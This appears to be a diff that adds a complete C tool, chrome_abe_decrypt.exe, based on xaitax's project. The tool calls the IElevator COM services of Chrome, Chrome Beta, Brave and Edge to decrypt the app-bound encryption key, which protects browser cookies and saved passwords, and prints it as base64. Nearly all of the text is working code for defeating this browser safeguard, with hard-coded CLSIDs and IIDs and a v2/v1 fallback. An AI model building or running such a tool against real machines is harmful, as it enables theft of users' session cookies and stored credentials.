HRESULT (STDMETHODCALLTYPE *EncryptData)(void *This, int protLevel, BSTR in, BSTR *out, DWORD *err);
|
|
109
|
+
HRESULT (STDMETHODCALLTYPE *DecryptData)(void *This, BSTR in, BSTR *out, DWORD *err);
|
|
110
|
+
} IEdgeElevatorVtbl;
|
|
111
|
+
|
|
112
|
+
typedef struct IEdgeElevator {
|
|
113
|
+
IEdgeElevatorVtbl *lpVtbl;
|
|
114
|
+
} IEdgeElevator;
|
|
115
|
+
|
|
116
|
+
/* ---------- Browser COM identifiers ---------- */
|
|
117
|
+
/* From xaitax/Chrome-App-Bound-Encryption-Decryption/src/payload/browser_config.hpp */
|
|
118
|
+
|
|
119
|
+
typedef struct BrowserCOM {
|
|
120
|
+
const char *name;
|
|
121
|
+
CLSID clsid;
|
|
122
|
+
IID iid; /* IElevator v1 */
|
|
123
|
+
IID iid_v2; /* IElevator v2 (Chrome 144+), GUID_NULL if none */
|
|
124
|
+
int isEdge;
|
|
125
|
+
} BrowserCOM;
|
|
126
|
+
|
|
127
|
+
/* Chrome */
|
|
128
|
+
static const CLSID CLSID_Chrome = {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}};
|
|
129
|
+
static const IID IID_IElevatorChrome = {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}};
|
|
130
|
+
static const IID IID_IElevator2Chrome = {0x1BF5208B, 0x295F, 0x4992, {0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38}};
|
|
131
|
+
|
|
132
|
+
/* Chrome Beta */
|
|
133
|
+
static const CLSID CLSID_ChromeBeta = {0xDD2646BA, 0x3707, 0x4BF8, {0xB9, 0xA7, 0x03, 0x86, 0x91, 0xA6, 0x8F, 0xC2}};
|
|
134
|
+
static const IID IID_IElevatorChromeBeta = {0xA2721D66, 0x376E, 0x4D2F, {0x9F, 0x0F, 0x90, 0x70, 0xE9, 0xA4, 0x2B, 0x5F}};
|
|
135
|
+
static const IID IID_IElevator2ChromeBeta = {0xB96A14B8, 0xD0B0, 0x44D8, {0xBA, 0x68, 0x23, 0x85, 0xB2, 0xA0, 0x32, 0x54}};
|
|
136
|
+
|
|
137
|
+
/* Brave — reuses Chrome's IElevator IID */
|
|
138
|
+
static const CLSID CLSID_Brave = {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}};
|
|
139
|
+
static const IID IID_IElevatorBrave = {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}};
|
|
140
|
+
/* Brave reuses Chrome's v2 IID: IID_IElevator2Chrome */
|
|
141
|
+
|
|
142
|
+
/* Edge */
|
|
143
|
+
static const CLSID CLSID_Edge = {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}};
|
|
144
|
+
static const IID IID_IElevatorEdge = {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}};
|
|
145
|
+
static const IID IID_IElevator2Edge = {0x8F7B6792, 0x784D, 0x4047, {0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05}};
|
|
146
|
+
|
|
147
|
+
static const BrowserCOM browsers[] = {
|
|
148
|
+
{"chrome", {0}, {0}, {0}, 0}, /* filled below */
|
|
149
|
+
{"chrome-beta", {0}, {0}, {0}, 0},
|
|
150
|
+
{"brave", {0}, {0}, {0}, 0},
|
|
151
|
+
{"edge", {0}, {0}, {0}, 1},
|
|
152
|
+
};
|
|
153
|
+
|
|
154
|
+
static int get_browser(const char *name, const CLSID **clsid, const IID **iid, const IID **iid_v2, int *isEdge) {
|
|
155
|
+
if (strcmp(name, "chrome") == 0) {
|
|
156
|
+
*clsid = &CLSID_Chrome; *iid = &IID_IElevatorChrome; *iid_v2 = &IID_IElevator2Chrome; *isEdge = 0;
|
|
157
|
+
} else if (strcmp(name, "chrome-beta") == 0) {
|
|
158
|
+
*clsid = &CLSID_ChromeBeta; *iid = &IID_IElevatorChromeBeta; *iid_v2 = &IID_IElevator2ChromeBeta; *isEdge = 0;
|
|
159
|
+
} else if (strcmp(name, "brave") == 0) {
|
|
160
|
+
*clsid = &CLSID_Brave; *iid = &IID_IElevatorBrave; *iid_v2 = &IID_IElevator2Chrome; *isEdge = 0;
|
|
161
|
+
} else if (strcmp(name, "edge") == 0) {
|
|
162
|
+
*clsid = &CLSID_Edge; *iid = &IID_IElevatorEdge; *iid_v2 = &IID_IElevator2Edge; *isEdge = 1;
|
|
163
|
+
} else {
|
|
164
|
+
return -1;
|
|
165
|
+
}
|
|
166
|
+
return 0;
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
/* ---------- Decrypt via COM ---------- */
|
|
170
|
+
|
|
171
|
+
static HRESULT decrypt_via_com(
|
|
172
|
+
const CLSID *clsid,
|
|
173
|
+
const IID *iid,
|
|
174
|
+
const IID *iid_v2,
|
|
175
|
+
int isEdge,
|
|
176
|
+
const unsigned char *encData,
|
|
177
|
+
DWORD encLen,
|
|
178
|
+
unsigned char **outData,
|
|
179
|
+
DWORD *outLen
|
|
180
|
+
) {
|
|
181
|
+
BSTR bstrEnc = SysAllocStringByteLen((const char *)encData, encLen);
|
|
182
|
+
if (!bstrEnc) return E_OUTOFMEMORY;
|
|
183
|
+
|
|
184
|
+
BSTR bstrPlain = NULL;
|
|
185
|
+
DWORD comErr = 0;
|
|
186
|
+
HRESULT hr = E_FAIL;
|
|
187
|
+
|
|
188
|
+
if (isEdge) {
|
|
189
|
+
/* Edge: try v2 first, then v1 */
|
|
190
|
+
IEdgeElevator *elevator = NULL;
|
|
191
|
+
|
|
192
|
+
/* Try v2 */
|
|
193
|
+
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid_v2, (void **)&elevator);
|
|
194
|
+
if (SUCCEEDED(hr)) {
|
|
195
|
+
CoSetProxyBlanket((IUnknown *)elevator, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
196
|
+
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
197
|
+
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING);
|
|
198
|
+
hr = elevator->lpVtbl->DecryptData(elevator, bstrEnc, &bstrPlain, &comErr);
|
|
199
|
+
elevator->lpVtbl->Release(elevator);
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
/* Fall back to v1 */
|
|
203
|
+
if (FAILED(hr)) {
|
|
204
|
+
elevator = NULL;
|
|
205
|
+
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (void **)&elevator);
|
|
206
|
+
if (SUCCEEDED(hr)) {
|
|
207
|
+
CoSetProxyBlanket((IUnknown *)elevator, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
208
|
+
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
209
|
+
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING);
|
|
210
|
+
hr = elevator->lpVtbl->DecryptData(elevator, bstrEnc, &bstrPlain, &comErr);
|
|
211
|
+
elevator->lpVtbl->Release(elevator);
|
|
212
|
+
}
|
|
213
|
+
}
|
|
214
|
+
} else {
|
|
215
|
+
/* Chrome/Brave: try v2 first, then v1 */
|
|
216
|
+
IElevator *elevator = NULL;
|
|
217
|
+
|
|
218
|
+
/* Try v2 (Chrome 144+) */
|
|
219
|
+
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid_v2, (void **)&elevator);
|
|
220
|
+
if (FAILED(hr) || hr == (HRESULT)0x80040154L /* REGDB_E_CLASSNOTREG */) {
|
|
221
|
+
/* Fall back to v1 */
|
|
222
|
+
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (void **)&elevator);
|
|
223
|
+
}
|
|
224
|
+
|
|
225
|
+
if (SUCCEEDED(hr)) {
|
|
226
|
+
CoSetProxyBlanket((IUnknown *)elevator, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
|
227
|
+
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
|
228
|
+
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_DYNAMIC_CLOAKING);
|
|
229
|
+
hr = elevator->lpVtbl->DecryptData(elevator, bstrEnc, &bstrPlain, &comErr);
|
|
230
|
+
elevator->lpVtbl->Release(elevator);
|
|
231
|
+
}
|
|
232
|
+
}
|
|
233
|
+
|
|
234
|
+
SysFreeString(bstrEnc);
|
|
235
|
+
|
|
236
|
+
if (FAILED(hr) || !bstrPlain) {
|
|
237
|
+
if (bstrPlain) SysFreeString(bstrPlain);
|
|
238
|
+
return FAILED(hr) ? hr : E_FAIL;
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
*outLen = SysStringByteLen(bstrPlain);
|
|
242
|
+
*outData = (unsigned char *)malloc(*outLen);
|
|
243
|
+
if (!*outData) {
|
|
244
|
+
SysFreeString(bstrPlain);
|
|
245
|
+
return E_OUTOFMEMORY;
|
|
246
|
+
}
|
|
247
|
+
memcpy(*outData, bstrPlain, *outLen);
|
|
248
|
+
SysFreeString(bstrPlain);
|
|
249
|
+
return S_OK;
|
|
250
|
+
}
|
|
251
|
+
|
|
252
|
+
/* ---------- main ---------- */
|
|
253
|
+
|
|
254
|
+
int main(int argc, char *argv[]) {
|
|
255
|
+
if (argc < 2) {
|
|
256
|
+
fprintf(stderr, "Usage: chrome_abe_decrypt.exe <browser>\n");
|
|
257
|
+
fprintf(stderr, " browser: chrome, chrome-beta, brave, edge\n");
|
|
258
|
+
fprintf(stderr, "Reads base64 encrypted key from stdin, writes base64 decrypted key to stdout.\n");
|
|
259
|
+
return 1;
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
const char *browserName = argv[1];
|
|
263
|
+
const CLSID *clsid;
|
|
264
|
+
const IID *iid, *iid_v2;
|
|
265
|
+
int isEdge;
|
|
266
|
+
|
|
267
|
+
if (get_browser(browserName, &clsid, &iid, &iid_v2, &isEdge) != 0) {
|
|
268
|
+
fprintf(stderr, "ERROR: Unknown browser '%s'. Use: chrome, chrome-beta, brave, edge\n", browserName);
|
|
269
|
+
return 1;
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
/* Read base64 input from stdin */
|
|
273
|
+
char input[65536];
|
|
274
|
+
size_t totalRead = 0;
|
|
275
|
+
while (totalRead < sizeof(input) - 1) {
|
|
276
|
+
size_t n = fread(input + totalRead, 1, sizeof(input) - 1 - totalRead, stdin);
|
|
277
|
+
if (n == 0) break;
|
|
278
|
+
totalRead += n;
|
|
279
|
+
}
|
|
280
|
+
input[totalRead] = '\0';
|
|
281
|
+
|
|
282
|
+
/* Trim whitespace */
|
|
283
|
+
while (totalRead > 0 && (input[totalRead-1] == '\n' || input[totalRead-1] == '\r' || input[totalRead-1] == ' ')) {
|
|
284
|
+
input[--totalRead] = '\0';
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
if (totalRead == 0) {
|
|
288
|
+
fprintf(stderr, "ERROR: No input received on stdin\n");
|
|
289
|
+
return 1;
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
/* Decode base64 input */
|
|
293
|
+
unsigned char *encData = NULL;
|
|
294
|
+
DWORD encLen = 0;
|
|
295
|
+
if (b64_decode(input, &encData, &encLen) != 0) {
|
|
296
|
+
fprintf(stderr, "ERROR: Failed to decode base64 input\n");
|
|
297
|
+
return 1;
|
|
298
|
+
}
|
|
299
|
+
|
|
300
|
+
/* Initialize COM */
|
|
301
|
+
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
302
|
+
if (FAILED(hr)) {
|
|
303
|
+
fprintf(stderr, "ERROR: CoInitializeEx failed: 0x%08lX\n", hr);
|
|
304
|
+
free(encData);
|
|
305
|
+
return 1;
|
|
306
|
+
}
|
|
307
|
+
|
|
308
|
+
/* Decrypt */
|
|
309
|
+
unsigned char *decData = NULL;
|
|
310
|
+
DWORD decLen = 0;
|
|
311
|
+
hr = decrypt_via_com(clsid, iid, iid_v2, isEdge, encData, encLen, &decData, &decLen);
|
|
312
|
+
free(encData);
|
|
313
|
+
|
|
314
|
+
if (FAILED(hr)) {
|
|
315
|
+
fprintf(stderr, "ERROR: DecryptData failed: 0x%08lX\n", hr);
|
|
316
|
+
CoUninitialize();
|
|
317
|
+
return 1;
|
|
318
|
+
}
|
|
319
|
+
|
|
320
|
+
/* Encode result as base64 and write to stdout */
|
|
321
|
+
char *b64out = NULL;
|
|
322
|
+
if (b64_encode(decData, decLen, &b64out) != 0) {
|
|
323
|
+
fprintf(stderr, "ERROR: Failed to encode result as base64\n");
|
|
324
|
+
free(decData);
|
|
325
|
+
CoUninitialize();
|
|
326
|
+
return 1;
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
printf("%s", b64out);
|
|
330
|
+
fflush(stdout);
|
|
331
|
+
|
|
332
|
+
free(b64out);
|
|
333
|
+
free(decData);
|
|
334
|
+
CoUninitialize();
|
|
335
|
+
return 0;
|
|
336
|
+
}
|
|
Binary file
|